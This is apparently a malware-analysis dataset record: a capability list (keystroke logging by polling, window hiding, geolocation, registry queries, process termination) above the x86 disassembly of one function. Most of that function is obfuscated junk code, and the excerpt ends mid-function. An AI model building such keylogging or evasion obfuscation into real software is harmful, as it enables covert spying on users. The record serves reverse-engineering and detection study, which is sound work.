Function at 0x451d7c
Capabilities:
Accept command line arguments
Create process on windows
Create thread
Delete directory
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get file size
Get file system object information
Get geographical location
Get thread local storage value
Hide graphical window
Log keystrokes via polling
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3678
call fcn.00488af0
push esi
push edi
mov dword [ebp - 0x330], 0xac64a684
mov dword [ebp - 0x330], 0xffffffe7
jmp 0x451dae
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0xffffffe9
jle 0x452074
mov dword [ebp - 0x2c0], 5
mov dword [ebp - 0x20f0], 0x10a1434a
mov dword [ebp - 0xaa8], 0
jmp 0x451de8
mov eax, dword [ebp - 0xaa8]
inc eax
mov dword [ebp - 0xaa8], eax
cmp dword [ebp - 0xaa8], 1
jge 0x451e04
mov eax, dword [ebp - 0xaa8]
mov dword [ebp + eax*4 - 0x242c], 1
jmp 0x451ddb
mov dword [ebp - 0x2c0], 9
jmp 0x451e1d
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x11
je 0x45206f
mov dword [ebp - 0xab0], 0x25ec560
mov dword [ebp - 0x25f4], 6
mov dword [ebp - 0x20f0], 0
cmp dword [ebp - 0x20f0], 0
je 0x451e66
mov eax, 0xf585
test eax, eax
je 0x451e66
mov dword [ebp - 0x2164], 1
jmp 0x451e6d
and dword [ebp - 0x2164], 0
mov eax, dword [ebp - 0x2164]
sub eax, dword [ebp - 0xab0]
cmp eax, dword [ebp - 0x330]
je 0x451e8d
mov dword [ebp - 0x216c], 1
jmp 0x451e94
and dword [ebp - 0x216c], 0
cmp dword [ebp - 0x216c], 0
jb 0x451eb2
cmp dword [ebp - 0xab0], 0
je 0x451eb2
mov dword [ebp - 0x2174], 1
jmp 0x451eb9
and dword [ebp - 0x2174], 0
mov eax, dword [ebp - 0x330]
cmp dword [ebp - 0x2174], eax
jg 0x451ed3
mov dword [ebp - 0x217c], 1
jmp 0x451eda
and dword [ebp - 0x217c], 0
cmp dword [ebp - 0x217c], 5
je 0x451eef
mov dword [ebp - 0x2184], 1
jmp 0x451ef6
and dword [ebp - 0x2184], 0
mov eax, dword [ebp - 0xab0]
add eax, dword [ebp - 0x2184]
cmp eax, dword [ebp - 0x2c0]
jle 0x451f18
or eax, 0xffffffff
jne 0x451f18
and dword [ebp - 0x218c], 0
jmp 0x451f22
mov dword [ebp - 0x218c], 1
mov eax, dword [ebp - 0x218c]
sub eax, 0xa
je 0x451f42
cmp dword [ebp - 0x2c0], 0
je 0x451f42
mov dword [ebp - 0x2194], 1
jmp 0x451f49
and dword [ebp - 0x2194], 0
mov eax, dword [ebp - 0x2194]
sub eax, dword [ebp - 0x330]
jne 0x451f69
mov eax, 0x54c3ebe1
test eax, eax
jne 0x451f69
and dword [ebp - 0x219c], 0
jmp 0x451f73
mov dword [ebp - 0x219c], 1
cmp dword [ebp - 0x219c], 0
je 0x451f88
mov dword [ebp - 0x21a4], 1
jmp 0x451f8f
and dword [ebp - 0x21a4], 0
cmp dword [ebp - 0x21a4], 0xfffffffb
jge 0x451fa4
mov dword [ebp - 0x21d0], 1
jmp 0x451fab
and dword [ebp - 0x21d0], 0
mov eax, dword [ebp - 0x2c0]
cmp dword [ebp - 0x21d0], eax
jg 0x451fc5
mov dword [ebp - 0x21d8], 1
jmp 0x451fcc
and dword [ebp - 0x21d8], 0
cmp dword [ebp - 0x21d8], 0xffffffff
jge 0x451fe1
mov dword [ebp - 0xab4], 1
jmp 0x451fe8
and dword [ebp - 0xab4], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xab4]
mov dword [ebp + eax - 0x242c], ecx
cmp dword [ebp - 0xab4], 0
jne 0x452016
cmp dword [ebp - 0xab0], 0
jne 0x452016
and dword [ebp - 0x21e0], 0
jmp 0x452020
mov dword [ebp - 0x21e0], 1
imul eax, dword [ebp - 0x21e0], 7
cmp dword [ebp - 0x2c0], eax
jg 0x45203b
mov dword [ebp - 0x21e8], 1
jmp 0x452042
and dword [ebp - 0x21e8], 0
cmp dword [ebp - 0x21e8], 1
je 0x452057
mov dword [ebp - 0x21f0], 1
jmp 0x45205e
and dword [ebp - 0x21f0], 0
mov eax, dword [ebp - 0x21f0]
mov dword [ebp - 0x25f4], eax
jmp 0x451e10
jmp 0x451da1
mov byte [ebp - 0x44d], 0
movzx eax, byte [ebp - 0x44d]
test eax, eax
je 0x4520a1
push 0
push 0x2145
push 0xb90
push 0x17f2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0x78], 8
mov byte [ebp - 0x2ed], 0
movzx eax, byte [ebp - 0x2ed]
test eax, eax
je 0x4520c9
push 0
push 0x178b
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x78], 0x13
jmp 0x4520d9
mov eax, dword [ebp - 0x78]
dec eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xc
jne 0x4522c8
mov dword [ebp - 0x118], 0x5b4
mov dword [ebp - 0x540], 0x7c8b166c
mov dword [ebp - 0x2604], 0xfffffffd
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x118], eax
xor eax, eax
sub eax, dword [ebp - 0x118]
je 0x452125
xor eax, eax
inc eax
je 0x452125
mov dword [ebp - 0x2208], 1
jmp 0x45212c
and dword [ebp - 0x2208], 0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x2208]
add eax, ecx
imul eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x118]
cmp dword [ebp - 0x540], 0xffffffff
jne 0x45215c
mov dword [ebp - 0x25fc], 1
jmp 0x452163
and dword [ebp - 0x25fc], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x2c98], eax
cmp dword [ebp - 0x118], 0
jne 0x452187
mov eax, 0x9523dd97
test eax, eax
jne 0x452187
and dword [ebp - 0x2210], 0
jmp 0x452191
mov dword [ebp - 0x2210], 1
cmp dword [ebp - 0x2210], 0x9900
jl 0x4521a9
mov dword [ebp - 0x2088], 1
jmp 0x4521b0
and dword [ebp - 0x2088], 0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x2088]
sub ecx, dword [ebp - 0x78]
sub eax, ecx
cmp eax, dword [ebp - 0x78]
jne 0x452254
mov dword [ebp - 0x980], 0
jmp 0x4521e0
mov eax, dword [ebp - 0x980]
inc eax
mov dword [ebp - 0x980], eax
cmp dword [ebp - 0x980], 4
jge 0x4521fc
mov eax, dword [ebp - 0x980]
mov dword [ebp + eax*4 - 0x33fc], 0xfff8
jmp 0x4521d3
cmp dword [ebp - 0x540], 0x1b76e1ee
jg 0x452214
mov dword [ebp - 0xd08], 1
jmp 0x45221b
and dword [ebp - 0xd08], 0
cmp dword [ebp - 0x118], 0xd8d9
jl 0x452233
mov dword [ebp - 0x19d8], 1
jmp 0x45223a
and dword [ebp - 0x19d8], 0
mov eax, dword [ebp - 0xd08]
add eax, dword [ebp - 0x19d8]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x33fc], eax
jmp 0x4522c3
mov dword [ebp - 0x540], 0x18
jmp 0x45226d
mov eax, dword [ebp - 0x540]
inc eax
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0x2f
jne 0x4522c3
mov byte [ebp - 0x2ef], 0
movzx eax, byte [ebp - 0x2ef]
test eax, eax
je 0x452290
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov dword [ebp - 0x118], 0xffffffe4
jmp 0x4522a9
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0xd
je 0x4522c1
imul eax, dword [ebp - 0x78], 0xffff
mov dword [ebp - 0x2604], eax
jmp 0x45229c
jmp 0x452260
jmp 0x4520d2
mov dword [ebp - 0x358], 0xac64a684
mov dword [ebp - 0x358], 0xffffffe7
jmp 0x4522eb
mov eax, dword [ebp - 0x358]
inc eax
mov dword [ebp - 0x358], eax
cmp dword [ebp - 0x358], 0xffffffe9
jle 0x45402b
mov dword [ebp - 0x150], 0
jmp 0x452311
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 2
jge 0x45232d
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x22bc], 0xffffffff
jmp 0x452304
mov dword [ebp - 0x150], 0
jmp 0x452346
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 1
jge 0x452362
mov eax, dword [ebp - 0x150]
mov dword [ebp + eax*4 - 0x2be4], 0x3245f1db
jmp 0x452339
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x22bc], 0xfffffff1
jmp 0x452390
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22bc]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x22bc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22bc], 0x10
jge 0x452438
mov dword [ebp - 0x66c], 0xd37ad43
mov dword [ebp - 0x66c], 0
jmp 0x4523c7
mov eax, dword [ebp - 0x66c]
dec eax
mov dword [ebp - 0x66c], eax
cmp dword [ebp - 0x66c], 0
jl 0x452428
mov dword [ebp - 0x67c], 0x7909b792
mov dword [ebp - 0x67c], 0
jmp 0x4523f3
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 0
jg 0x452426
mov byte [ebp - 0x2f1], 0
movzx eax, byte [ebp - 0x2f1]
test eax, eax
je 0x452424
push 0
push 0
push 0xbe0
push 0x1b4d
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
jmp 0x4523e6
jmp 0x4523ba
cmp dword [ebp - 0x66c], 0
je 0x452433
jmp 0x452438
jmp 0x452375
mov dword [ebp - 0x2a8], 5
mov dword [ebp - 0xe8], 0xf40fc027
mov dword [ebp - 0x49c], 0xffffffff
mov dword [ebp - 0x648], 0
mov dword [ebp - 0x664], 0xffffffff
mov dword [ebp - 0x2614], 1
mov dword [ebp - 0x2bec], 0x9f81
mov dword [ebp - 0x1a00], 0xfffd
mov dword [ebp - 0xa1c], 0
jmp 0x4524a1
mov eax, dword [ebp - 0xa1c]
inc eax
mov dword [ebp - 0xa1c], eax
cmp dword [ebp - 0xa1c], 4
jge 0x4524bd
mov eax, dword [ebp - 0xa1c]
mov dword [ebp + eax*4 - 0x32f0], 0xe769
jmp 0x452494
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x2bf4], eax
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0xe8], eax
je 0x4524e3
mov dword [ebp - 0xd10], 1
jmp 0x4524ea
and dword [ebp - 0xd10], 0
mov eax, dword [ebp - 0xd10]
dec eax
jne 0x452505
cmp dword [ebp - 0x49c], 0
jne 0x452505
and dword [ebp - 0x19e0], 0
jmp 0x45250f
mov dword [ebp - 0x19e0], 1
mov eax, dword [ebp - 0x19e0]
mov dword [ebp - 0x648], eax
cmp dword [ebp - 0x648], 0
jne 0x452536
cmp dword [ebp - 0xe8], 0
jne 0x452536
and dword [ebp - 0xd18], 0
jmp 0x452540
mov dword [ebp - 0xd18], 1
mov eax, dword [ebp - 0xd18]
sub eax, 3
cmp eax, dword [ebp - 0xe8]
jle 0x45255d
mov dword [ebp - 0x19e8], 1
jmp 0x452564
and dword [ebp - 0x19e8], 0
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x19e8], eax
jle 0x452579
cmp dword [ebp - 0x648], 0
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x2bfc], eax
mov eax, dword [ebp - 0x664]
mov dword [ebp - 0x2c04], eax
cmp dword [ebp - 0xe8], 0x72305ab
jg 0x4525a9
mov dword [ebp - 0x260c], 1
jmp 0x4525b0
and dword [ebp - 0x260c], 0
mov eax, dword [ebp - 0x49c]
cmp dword [ebp - 0xe8], eax
jne 0x4525ca
mov dword [ebp - 0xd20], 1
jmp 0x4525d1
and dword [ebp - 0xd20], 0
mov eax, dword [ebp - 0x664]
cmp dword [ebp - 0xd20], eax
jge 0x4525eb
mov dword [ebp - 0x19f0], 1
jmp 0x4525f2
and dword [ebp - 0x19f0], 0
mov eax, dword [ebp - 0x664]
cmp dword [ebp - 0x19f0], eax
jge 0x45260c
mov dword [ebp - 0xd28], 1
jmp 0x452613
and dword [ebp - 0xd28], 0
mov eax, dword [ebp - 0x2614]
cmp dword [ebp - 0xd28], eax
jge 0x452636
cmp dword [ebp - 0x648], 0
je 0x452636
mov dword [ebp - 0x19f8], 1
jmp 0x45263d
and dword [ebp - 0x19f8], 0
mov eax, dword [ebp - 0x664]
cmp dword [ebp - 0x19f8], eax
jge 0x452652
cmp dword [ebp - 0x648], 0
cmp dword [ebp - 0x664], 0
jne 0x452668
xor eax, eax
jne 0x452668
and dword [ebp - 0xd30], 0
jmp 0x452672
mov dword [ebp - 0xd30], 1
mov eax, dword [ebp - 0xd30]
sub eax, 0x49ef57a5
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x32f0], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x32f0], 0
je 0x452750
cmp dword [ebp - 0xe8], 0
je 0x452750
mov dword [ebp - 0x49c], 0
jmp 0x4526c3
mov eax, dword [ebp - 0x49c]
inc eax
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 3
jg 0x45271c
mov dword [ebp - 0x684], 0
jmp 0x4526e5
mov eax, dword [ebp - 0x684]
inc eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], 3
jge 0x452701
mov eax, dword [ebp - 0x684]
mov dword [ebp + eax*4 - 0x2fa8], 0x43de
jmp 0x4526d8
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2fa8]
dec eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2fa8], eax
jmp 0x4526b6
mov byte [ebp - 0x2f3], 0
movzx eax, byte [ebp - 0x2f3]
test eax, eax
je 0x45274e
push 0
push 0x270e
push 0x1695
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
jmp 0x452792
mov dword [ebp - 0x988], 0
jmp 0x452769
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 3
jge 0x452785
mov eax, dword [ebp - 0x988]
mov dword [ebp + eax*4 - 0x35e4], 0x58e5
jmp 0x45275c
mov eax, dword [ebp - 0x1a00]
inc eax
mov dword [ebp - 0x1a00], eax
mov dword [ebp - 0xe08], 0x10a1434a
mov dword [ebp - 0x68c], 0xfffffffb
mov dword [ebp - 0x68c], 0
jmp 0x4527bf
mov eax, dword [ebp - 0x68c]
inc eax
mov dword [ebp - 0x68c], eax
cmp dword [ebp - 0x68c], 3
je 0x452a40
mov dword [ebp - 0x258], 1
mov dword [ebp - 0x258], 0
jmp 0x4527ef
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 5
jle 0x4528a0
mov dword [ebp - 0xa8c], 0
jmp 0x452815
mov eax, dword [ebp - 0xa8c]
inc eax
mov dword [ebp - 0xa8c], eax
cmp dword [ebp - 0xa8c], 1
jge 0x452831
mov eax, dword [ebp - 0xa8c]
mov dword [ebp + eax*4 - 0x694], 0xe2c0d37a
jmp 0x452808
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x694], 0xffffffee
jmp 0x45285f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x694]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x694], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x694], 0xffffffeb
jge 0x45289b
mov byte [ebp - 0x2f5], 0
movzx eax, byte [ebp - 0x2f5]
test eax, eax
je 0x452899
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
jmp 0x452844
jmp 0x4527e2
mov dword [ebp - 0x258], 7
jmp 0x4528b9
mov eax, dword [ebp - 0x258]
dec eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 6
je 0x452a3b
mov dword [ebp - 0x990], 0xfba1a4d6
mov dword [ebp - 0x261c], 0x7fc0549e
mov dword [ebp - 0x990], 0
jmp 0x4528f3
mov eax, dword [ebp - 0x990]
dec eax
mov dword [ebp - 0x990], eax
cmp dword [ebp - 0x990], 0xffffffe8
jge 0x452a36
mov dword [ebp - 0xa24], 0x1e9c96c7
mov dword [ebp - 0x69c], 0
jmp 0x452923
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 3
jge 0x45293f
mov eax, dword [ebp - 0x69c]
mov dword [ebp + eax*4 - 0x350c], 0x8373b2c5
jmp 0x452916
mov dword [ebp - 0xa24], 0
jmp 0x452958
mov eax, dword [ebp - 0xa24]
dec eax
mov dword [ebp - 0xa24], eax
cmp dword [ebp - 0xa24], 0xfffffff9
jg 0x452a31
mov dword [ebp - 0x6a4], 0
jmp 0x45297e
mov eax, dword [ebp - 0x6a4]
inc eax
mov dword [ebp - 0x6a4], eax
cmp dword [ebp - 0x6a4], 2
jge 0x45299a
mov eax, dword [ebp - 0x6a4]
mov dword [ebp + eax*4 - 0x22cc], 0x2b441a62
jmp 0x452971
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x22cc], 0
jmp 0x4529c8
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22cc]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x22cc], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22cc], 2
jg 0x452a2c
mov dword [ebp - 0x998], 0x1bf07968
mov dword [ebp - 0x998], 0
jmp 0x4529fb
mov eax, dword [ebp - 0x998]
inc eax
mov dword [ebp - 0x998], eax
cmp dword [ebp - 0x998], 2
jg 0x452a2a
mov dword [ebp - 0x261c], 0x3f9beab1
mov byte [ebp - 0x2f7], 0
movzx eax, byte [ebp - 0x2f7]
test eax, eax
je 0x452a28
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x4529ee
jmp 0x4529ad
jmp 0x45294b
jmp 0x4528e6
jmp 0x4528ac
jmp 0x4527b2
mov dword [ebp - 0x550], 0x76f5020f
mov dword [ebp - 0x262c], 0xfffffffe
mov dword [ebp - 0x2c0c], 0x7c0c
mov dword [ebp - 0x1f8], 0
jmp 0x452a77
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 1
jge 0x452a93
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0xc5c], 0xffff
jmp 0x452a6a
mov dword [ebp - 0x1f8], 0
jmp 0x452aac
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 4
jge 0x452ac8
mov eax, dword [ebp - 0x1f8]
mov dword [ebp + eax*4 - 0x32d0], 1
jmp 0x452a9f
mov dword [ebp - 0x550], 0
jmp 0x452ae1
mov eax, dword [ebp - 0x550]
dec eax
mov dword [ebp - 0x550], eax
cmp dword [ebp - 0x550], 0
jl 0x452e8d
mov dword [ebp - 0x2398], 0xffffffff
mov dword [ebp - 0x2394], 0xffffffff
mov dword [ebp - 0x2390], 0xffffffff
mov dword [ebp - 0x238c], 0xffffffff
mov dword [ebp - 0x5e0], 0x4ea33a4d
mov dword [ebp - 0x1a30], 0xcbedfa90
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x2398], 0
jmp 0x452b58
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2398]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2398], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x2398], 0
jg 0x452cb7
mov dword [ebp - 0x2a0], 0x2ee6d058
mov dword [ebp - 0x2624], 7
mov byte [ebp - 0x2f9], 0
movzx eax, byte [ebp - 0x2f9]
test eax, eax
je 0x452b9a
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [ebp - 0x2a0], 0
jmp 0x452bb3
mov eax, dword [ebp - 0x2a0]
dec eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
jl 0x452cb2
mov dword [ebp - 0xd48], 0x642e40c1
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x32d0], 0xcc4b
mov eax, dword [ebp - 0x2a0]
mov eax, dword [ebp + eax*4 - 0xc5c]
add eax, 0xcc4b
mov ecx, dword [ebp - 0x2a0]
cmp dword [ebp + ecx*4 - 0xc5c], eax
jne 0x452c07
mov dword [ebp - 0xd38], 1
jmp 0x452c0e
and dword [ebp - 0xd38], 0
cmp dword [ebp - 0xd38], 0xffff
ja 0x452c26
mov dword [ebp - 0x1a08], 1
jmp 0x452c2d
and dword [ebp - 0x1a08], 0
cmp dword [ebp - 0x2a0], 0
jne 0x452c44
xor eax, eax
inc eax
jne 0x452c44
and dword [ebp - 0xd40], 0
jmp 0x452c4e
mov dword [ebp - 0xd40], 1
mov eax, dword [ebp - 0x1a08]
cmp eax, dword [ebp - 0xd40]
jge 0x452c68
mov dword [ebp - 0x1a10], 1
jmp 0x452c6f
and dword [ebp - 0x1a10], 0
mov eax, dword [ebp - 0x1a10]
mov dword [ebp - 0xd48], eax
mov eax, dword [ebp - 0xd48]
neg eax
imul eax, dword [ebp - 0x2a0]
test eax, eax
jne 0x452c9a
mov dword [ebp - 0x1a18], 1
jmp 0x452ca1
and dword [ebp - 0x1a18], 0
mov eax, dword [ebp - 0x1a18]
mov dword [ebp - 0x2624], eax
jmp 0x452ba6
jmp 0x452b3d
mov byte [ebp - 0x2fb], 0
movzx eax, byte [ebp - 0x2fb]
test eax, eax
je 0x452ce6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0x23d2
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
mov dword [ebp - 0x5e0], 0
jmp 0x452cff
mov eax, dword [ebp - 0x5e0]
dec eax
mov dword [ebp - 0x5e0], eax
cmp dword [ebp - 0x5e0], 0
jl 0x452e88
mov dword [ebp - 0xc54], 0x47d1
mov dword [ebp - 0xba8], 2
mov eax, dword [ebp - 0x1a30]
mov dword [ebp - 0x2c14], eax
cmp dword [ebp - 0xba8], 0
jne 0x452d47
cmp dword [ebp - 0x262c], 0
jne 0x452d47
and dword [ebp - 0xd50], 0
jmp 0x452d51
mov dword [ebp - 0xd50], 1
mov eax, dword [ebp - 0xc54]
cmp dword [ebp - 0xd50], eax
jl 0x452d6b
mov dword [ebp - 0x1a20], 1
jmp 0x452d72
and dword [ebp - 0x1a20], 0
cmp dword [ebp - 0x1a20], 0xcc16
jl 0x452d8a
mov dword [ebp - 0xd58], 1
jmp 0x452d91
and dword [ebp - 0xd58], 0
cmp dword [ebp - 0xd58], 0xffffffff
jge 0x452da6
mov dword [ebp - 0x1a28], 1
jmp 0x452dad
and dword [ebp - 0x1a28], 0
mov eax, dword [ebp - 0xc54]
cmp eax, dword [ebp - 0x1a28]
jne 0x452dc7
mov dword [ebp - 0xd60], 1
jmp 0x452dce
and dword [ebp - 0xd60], 0
mov eax, dword [ebp - 0xd60]
sub eax, 3
cmp eax, 0xffffffff
jb 0x452de3
cmp dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0xba8]
mov dword [ebp - 0x2c1c], eax
mov eax, dword [ebp - 0x550]
mov dword [ebp - 0x2c24], eax
cmp dword [ebp - 0x1a30], 0xffff
jbe 0x452e13
mov dword [ebp - 0xd68], 1
jmp 0x452e1a
and dword [ebp - 0xd68], 0
mov eax, dword [ebp - 0x5e0]
mov eax, dword [ebp + eax*4 - 0xc5c]
cmp eax, dword [ebp - 0xd68]
jle 0x452e3b
mov dword [ebp - 0x1a38], 1
jmp 0x452e42
and dword [ebp - 0x1a38], 0
mov eax, dword [ebp - 0xba8]
cmp dword [ebp - 0x1a38], eax
jg 0x452e5c
mov dword [ebp - 0xd70], 1
jmp 0x452e63
and dword [ebp - 0xd70], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x32d0]
imul eax, dword [ebp - 0xd70]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2398], eax
jmp 0x452cf2
jmp 0x452ad4
mov byte [ebp - 0x2fd], 0
movzx eax, byte [ebp - 0x2fd]
test eax, eax
je 0x452ead
push 0
push 1
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x22c], 0
jmp 0x452ec6
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 2
jge 0x452ee2
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x33ec], 0xfffffff9
jmp 0x452eb9
mov dword [ebp - 0x22c], 0
jmp 0x452efb
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 3
jge 0x452f17
mov eax, dword [ebp - 0x22c]
mov dword [ebp + eax*4 - 0x296c], 0x7a4a12b5
jmp 0x452eee
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x296c], 1
jmp 0x452f45
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x296c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x296c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x296c], 0
jl 0x452f78
mov byte [ebp - 0x2ff], 0
movzx eax, byte [ebp - 0x2ff]
test eax, eax
je 0x452f76
push 0
push 0x1e1b
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
jmp 0x452f2a
mov byte [ebp - 0x301], 0
movzx eax, byte [ebp - 0x301]
test eax, eax
je 0x452f92
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x6ac], 0
jmp 0x452fab
mov eax, dword [ebp - 0x6ac]
inc eax
mov dword [ebp - 0x6ac], eax
cmp dword [ebp - 0x6ac], 1
jge 0x452fc7
mov eax, dword [ebp - 0x6ac]
mov dword [ebp + eax*4 - 0x268c], 1
jmp 0x452f9e
mov dword [ebp - 0xa0], 0x5fa2ef7
mov dword [ebp - 0x140], 0xd0811fc8
mov dword [ebp - 0x23b8], 0
mov dword [ebp - 0x23b4], 0
mov dword [ebp - 0x23b0], 0
mov dword [ebp - 0x23ac], 0
mov dword [ebp - 0x260], 0xc1094d0e
mov dword [ebp - 0xda8], 0xffffffff
mov dword [ebp - 0x558], 0
mov dword [ebp - 0xa6c], 0
jmp 0x45303a
mov eax, dword [ebp - 0xa6c]
inc eax
mov dword [ebp - 0xa6c], eax
cmp dword [ebp - 0xa6c], 3
jge 0x453056
mov eax, dword [ebp - 0xa6c]
mov dword [ebp + eax*4 - 0xca4], 0
jmp 0x45302d
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xca4], 0
jmp 0x453084
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xca4]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xca4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xca4], 0xfffffffe
jle 0x453283
mov dword [ebp - 0xd80], 0xffffffff
mov dword [ebp - 0x2418], 3
mov dword [ebp - 0x2414], 3
mov dword [ebp - 0x2410], 3
mov dword [ebp - 0x240c], 3
mov dword [ebp - 0x2634], 0xa6c6
mov dword [ebp - 0xd80], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xca4]
mov dword [ebp - 0x1a40], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x1a40]
mov dword [ebp + eax - 0x2418], ecx
cmp dword [ebp - 0x1a40], 0
jne 0x453214
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xca4]
cmp dword [ebp + eax - 0x2418], ecx
jge 0x453139
mov dword [ebp - 0xd78], 1
jmp 0x453140
and dword [ebp - 0xd78], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2418]
mov dword [ebp - 0x2c2c], eax
mov eax, dword [ebp - 0xd78]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x2c34], eax
mov eax, dword [ebp - 0xa0]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x2418]
inc eax
mov dword [ebp - 0x140], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2418]
cmp eax, dword [ebp - 0x140]
jle 0x4531a6
mov dword [ebp - 0x1a48], 1
jmp 0x4531ad
and dword [ebp - 0x1a48], 0
mov eax, dword [ebp - 0x1a48]
inc eax
cmp eax, dword [ebp - 0xd80]
jge 0x4531c8
mov dword [ebp - 0x1a50], 1
jmp 0x4531cf
